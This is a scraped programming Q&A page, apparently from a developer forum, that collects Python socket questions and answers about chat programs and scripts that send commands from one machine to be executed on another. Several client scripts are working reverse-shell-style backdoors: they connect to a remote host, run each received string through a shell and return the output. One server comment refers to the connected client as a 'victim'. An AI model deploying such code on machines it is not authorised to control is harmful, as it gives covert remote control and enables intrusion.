How can I use commands when connecting computers through socket? - python

I set up a python script to connect two computers with sockets and am trying to run commands from terminal. The script will hopefully run the commands on the host onto the client but it doesnt recognize any commands. My code for the server is
import socket
HOST = '0.0.0.0'
PORT = 12345
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(5)
print("\n[*] Listening on port " +str(PORT)+ ", waiting for connexions.")
client_socket, (client_ip, client_port) = server_socket.accept()
print("[*] Client " +client_ip+ " connected.\n")
while True:
try:
command = input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(bytes(command, 'utf-8'))
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented commands.\n")
continue
if(command == "quit"):
break
data = client_socket.recv(1024)
print((data + b"\n"))
client_socket.close()
and the client is
import socket
import subprocess, os
HOST = ''
PORT = 12345
connexion_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connexion_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
connexion_socket.connect((HOST, PORT))
print('\n[*] Connected to " +HOST+ " "on port" +str(PORT+) ".\n"')
while True:
command = str(connexion_socket.recv(1024))
split_command = command.split()
print('Received command : ' +command)
if command == 'quit':
break
if(command.split()[0] == 'cd'):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd()))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(('Changed Directory to' + os.getcwd()))
except:
connexion_socket.send(str.encode('No such directory : ' +os.getcwd()))
else:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
print(str(stdout_value) + '\n')
if(stdout_value != ''):
connexion_socket.send(stdout_value)
else:
connexion_socket.send(command+ ' does not return anything')
Whenever I try to run a command like 'ipconfig' or 'cd' i get the error
"is not recognized as an internal or external command,\r\noperable program or batch file.\r\n\n"
Any help is appreciated, Thanks!

Related

ConnectionRefusedError: [WinError 10061]

I am using the code below to connect to other system after making a socket.
When I run locally on my system it works fine, but on other system its giving an error for ConnectionRefusedError: [WinError 10061], Python.
I tried to add s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) instead of s = socket.socket():
but it's giving me the same error.
This what I am using for client
import socket
import os
import subprocess
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
host = '***.***.***.***'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)
This what I am using for server:
import socket
import sys
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
print("Binding the Port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
bind_socket()
# Establish connection with a client (socket must be listening)
def socket_accept():
conn, address = s.accept()
print("Connection has been established! |" + " IP " + address[0] + " | Port " + str(address[1]))
send_commands(conn)
conn.close()
# Send commands to client/victim or a friend
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024),"utf-8")
print(client_response, end="")
def main():
create_socket()
bind_socket()
socket_accept()
main()

How to implement iperf module for Bandwidth monitoring in this python chatroom?

https://iperf.fr/iperf-doc.php
https://iperf.fr/
//server.py
import socket
import select
import sys
from thread import *
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if len(sys.argv) != 3:
print "Correct usage: script, IP address, port number"
exit()
IP_address = str(sys.argv[1])
Port = int(sys.argv[2])
server.bind((IP_address, Port))
server.listen(100)
list_of_clients = []
def clientthread(conn, addr):
conn.send("Welcome to this chatroom!")
while True:
try:
message = conn.recv(2048)
if message:
print "<" + addr[0] + "> " + message
message_to_send = "<" + addr[0] + "> " + message
broadcast(message_to_send, conn)
else:
remove(conn)
except:
continue
def broadcast(message, connection):
for clients in list_of_clients:
if clients!=connection:
try:
clients.send(message)
except:
clients.close()
remove(clients)
def remove(connection):
if connection in list_of_clients:
list_of_clients.remove(connection)
while True:
conn, addr = server.accept()
list_of_clients.append(conn)
print addr[0] + " connected"
start_new_thread(clientthread,(conn,addr))
conn.close()
server.close()
The client side script will simply attempt to access the server socket created at the specified IP address and port. Once it connects, it will continuously check as to whether the input comes from the server or from the client, and accordingly redirects output. If the input is from the server, it displays the message on the terminal. If the input is from the user, it sends the message that the users enters to the server for it to be broadcasted to other users.
//client.py
import socket
import select
import sys
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv) != 3:
print "Correct usage: script, IP address, port number"
exit()
IP_address = str(sys.argv[1])
Port = int(sys.argv[2])
server.connect((IP_address, Port))
while True:
sockets_list = [sys.stdin, server]
read_sockets,write_socket, error_socket = select.select(sockets_list,[],[])
for socks in read_sockets:
if socks == server:
message = socks.recv(2048)
print message
else:
message = sys.stdin.readline()
server.send(message)
sys.stdout.write("<You>")
sys.stdout.write(message)
sys.stdout.flush()
server.close()

Python Socket Closes after One Connection/Command

The Client and Server can successfully connect however only one command can be issued. Been at this for a while and wanted some outside help, any feedback or suggested improvements would be great thanks in advance.
Been looking at other posts which suggest I may have prematurely closed the connection but I don't believe this to be true due to the fact the program doesn't throw any disconnection errors though I may be wrong.
client.py
import socket
import sys
import os
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##server = input("Enter server IP: ")
##print(server)
##
##port = int(input("Enter port: "))
##print(port)
def send_msg(msg):
sock.sendall(msg.encode())
def get_msg():
msg = sock.recv(2048).decode()
return msg
server = "127.0.0.1"
port = 100
sock.connect((server, port))
print("Connecting to " + server + " on port " + str(port) + "\n")
while True:
#Send data
msg = input(os.getcwd() + "> ")
print("Sending '" + msg + "'")
send_msg(msg)
#Response
#amnt_exp = len(msg)
#data = sock.recv(2048)
data = get_msg()
if data == "exit":
print("\nClosing connection")
sock.close()
else:
print("Received: \n" + data)
server.py
import socket
import sys
import os
import subprocess
#Create a TCP/IP Socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##server = input("Enter server IP: ")
##print(server)
##
##port = int(input("Enter port: "))
##print(port)
def send_msg(msg):
conn.sendall(msg.encode())
def get_msg():
msg = conn.recv(2048).decode()
return msg
server = "127.0.0.1"
port = 100
#Config
sock.bind((server, port))
print("Bound to " + server + " on port " + str(port) + "\n")
sock.listen(1)
print("Waiting for a connection...")
while True:
conn, caddr = sock.accept()
print("Connected!\n")
print("Waiting for a command...")
#data = conn.recv(2048).decode()
data = get_msg()
#Exit
if data == "exit":
print("\nConnection closed")
conn.close()
print("Received '" + data + "'")
#Command Exec
call = subprocess.Popen(data, stdout = subprocess.PIPE, shell=True)
#Output
output, err = call.communicate()
call_status = call.wait()
#print("Output: ", output)
#print("Exit status: ", call_status)
#Reply
msg = "Command successful\n" + "Output: " + str(output) + "\n" + "Exit status:" + str(call_status)
print("Sending reply...")
print("\nWaiting for a command...")
send_msg(msg)
The problem is that your server loop only accepts a single command, and then it goes back to accept a whole new connection, and never looks at the old connection again.
Your output is pretty misleading, because it does print out Waiting for a command.... But that's only happening because you have an extra print("\nWaiting for a command...") before send_msg, and you don't have any output before sock.accept. You can see what's actually happening if you make your prints accurate. For example:
sock.listen(1)
while True:
print('Waiting for a connection...') # inside the loop, not before it
conn, caddr = sock.accept()
# ... etc. ...
print("Sending reply...")
# Don't print Waiting for a command here, because you aren't
send_msg(msg)
# And print something after the send succeeds
print("Sent")
print()
So, now you know what's wrong, how do you fix it?
Simple. We just need a nested loop. Once you accept a client connection, keep using that connection until they exit:
sock.listen(1)
while True:
print('Waiting for a connection...') # inside the loop, not before it
conn, caddr = sock.accept()
print("Connected!\n")
while True:
print("Waiting for a command...")
data = get_msg()
#Exit
if data == "exit":
print("\nConnection closed")
conn.close()
break # go back to the outer accept loop to get the next connection
print("Received '" + data + "'")
# ... etc. ...
print()

python - ls-l problems executing popen

I have a remote shell that does not work very well. When I run the command ls -l brings me a good result, but when I run the following command, ls -l runs again. i dont know which one my is error.
I use linux and python 2.7
server.py
import socket, shlex
import subprocess
PORT = 9999
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('',PORT))
sock.listen(4)
sc, addr = sock.accept()
while True:
comando = sc.recv(255)
if comando == 'exit':
break
else:
print comando
if " " in comando:
comando = shlex.split(comando)
shell = subprocess.Popen(comando,bufsize=255, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
else:
shell = subprocess.Popen(comando, shell=True, bufsize=255,stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
stdout, stderr = shell.communicate()
if not stdout:
stdout = shell.stderr.read()
if len(stdout) == 0:
stdout = "[Comando ejecutado]"
sc.send(stdout)
sc.close()
sock.close()
client.py
import socket, sys, os
s = socket.socket()
s.connect(("localhost", 9999))
mensaje = ""
while mensaje != "exit":
mensaje = raw_input("Shell# ")
try:
s.send(mensaje)
resultado = s.recv(2048)
print resultado
except:
print "Hubo un error en la conexion..."
mensaje = "exit"
print "bye..."
s.close()
I guess the error is with popen and childs
A few comments:
don't use shell=True unless you have to
subprocess.check_output() is the easiest way to run a command, check if it fails or not, and get the output
when an error happens, print out the status code to help track down what's going on. Sometimes the command isn't being parsed correctly, ie a space in the filename.
source
import socket, shlex
import subprocess
PORT = 9999
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('',PORT))
sock.listen(5)
sc, addr = sock.accept()
while True:
comando = sc.recv(255).rstrip()
print 'got:',comando
if not comando:
break
elif comando == 'exit':
break
comando = shlex.split(comando)
print comando
output = 'ERROR'
try:
output = subprocess.check_output(
comando,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=False,
)
except subprocess.CalledProcessError as err:
output = "[Comando ejecutado] status={}".format(err.returncode)
sc.send(output)
sc.close()
sock.close()

Python Non-blocking peer to peer chat socket.error: [Errno 32] Broken pipe

Hi i write simple chat program for peer to peer chat between server and client.
This code is working for Client side and client can send message and server recives that messages. but for server side when i want to send a message i have error in line 40
File "server.py", line 40, in <module>
newSocket.send('\r<Server>: ' + msg)
socket.error: [Errno 32] Broken pipe
and server crashes.
Server :
import socket
import os
import select
import sys
def prompt():
sys.stdout.write('Server : ')
sys.stdout.flush()
try:
newSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
newSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
except:
print 'socket Error'
sys.exit(1)
newSocket.bind(('127.0.0.1', 8000))
newSocket.listen(5)
input_list = [newSocket, sys.stdin]
print 'Chat Program'
prompt()
while True:
inputready, outputready, exceptready = select.select(input_list,[],[])
for sock in inputready:
if sock == newSocket:
(client, (ip, port)) = newSocket.accept()
input_list.append(client)
data = client.recv(2048)
if data:
sys.stdout.write(data)
elif sock == sys.stdin:
msg = sys.stdin.readline()
newSocket.send('\r<Server>: ' + msg)
prompt()
else:
data = sock.recv(2048)
if data:
sys.stdout.write(data)
newSocket.close()
client :
import socket
import os
import select
import sys
def prompt():
sys.stdout.write('Client ')
sys.stdout.flush()
try:
newSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
newSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
except:
print 'socket Error'
sys.exit(1)
newSocket.connect(('127.0.0.1', 8000))
print 'Connected to remote host. Start sending messages'
prompt()
while 1:
socket_list = [sys.stdin, newSocket]
read_sockets, write_sockets, error_sockets = select.select(socket_list, [], [])
for sock in read_sockets:
if sock == newSocket:
data = sock.recv(4096)
if not data:
print '\nDisconnected from chat server'
sys.exit()
else:
sys.stdout.write(data)
prompt()
else:
msg = sys.stdin.readline()
newSocket.send('\r<Client>: ' + msg)
prompt()
You should use accept(). It seems newSocket is not ready to output when you try to .send() with it.
I change Server code to this and problem has been solved:
import socket
import select
import sys
CONNECTION_LIST = []
RECV_BUFFER = 4096
PORT = 1245
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('0.0.0.0', PORT))
server_socket.listen(5)
CONNECTION_LIST.append(server_socket)
CONNECTION_LIST.append(sys.stdin)
print 'Chat server Started on port ' + str(PORT)
def broadcast_data(sock, message):
for socket in CONNECTION_LIST:
if socket != server_socket and socket != sock and socket != sys.stdin:
try:
socket.send(message)
except:
socket.close()
CONNECTION_LIST.remove(socket)
def prompt() :
sys.stdout.write('<You> ')
sys.stdout.flush()
prompt()
while True:
read_sockets, write_sockets, error_sockets = select.select(CONNECTION_LIST, [], []) # NON_blocking I/O with 0
for sock in read_sockets:
if sock == server_socket:
# new Connection
sockfd, addr = server_socket.accept()
CONNECTION_LIST.append(sockfd)
print 'Clinet (%s, %s) connected ' % addr
broadcast_data(sockfd, "[%s:%s] entered room" % addr)
elif sock == sys.stdin:
msg = sys.stdin.readline()
broadcast_data(sock, 'Server > ' + msg)
prompt()
else:
try:
#In Windows, sometimes when a TCP program closes abruptly,
# a "Connection reset by peer" exception will be thrown
data = sock.recv(RECV_BUFFER)
if data:
print "\r" + '<' + str(sock.getpeername()) + '>' + data
broadcast_data(sock, "\r" + '<' + str(sock.getpeername()) + '>' + data)
except:
broadcast_data(sock, "Client (%s, %s) is offline" % addr)
print "Client (%s, %s) is offline" % addr
sock.close()
CONNECTION_LIST.remove(sock)
continue

Categories

Resources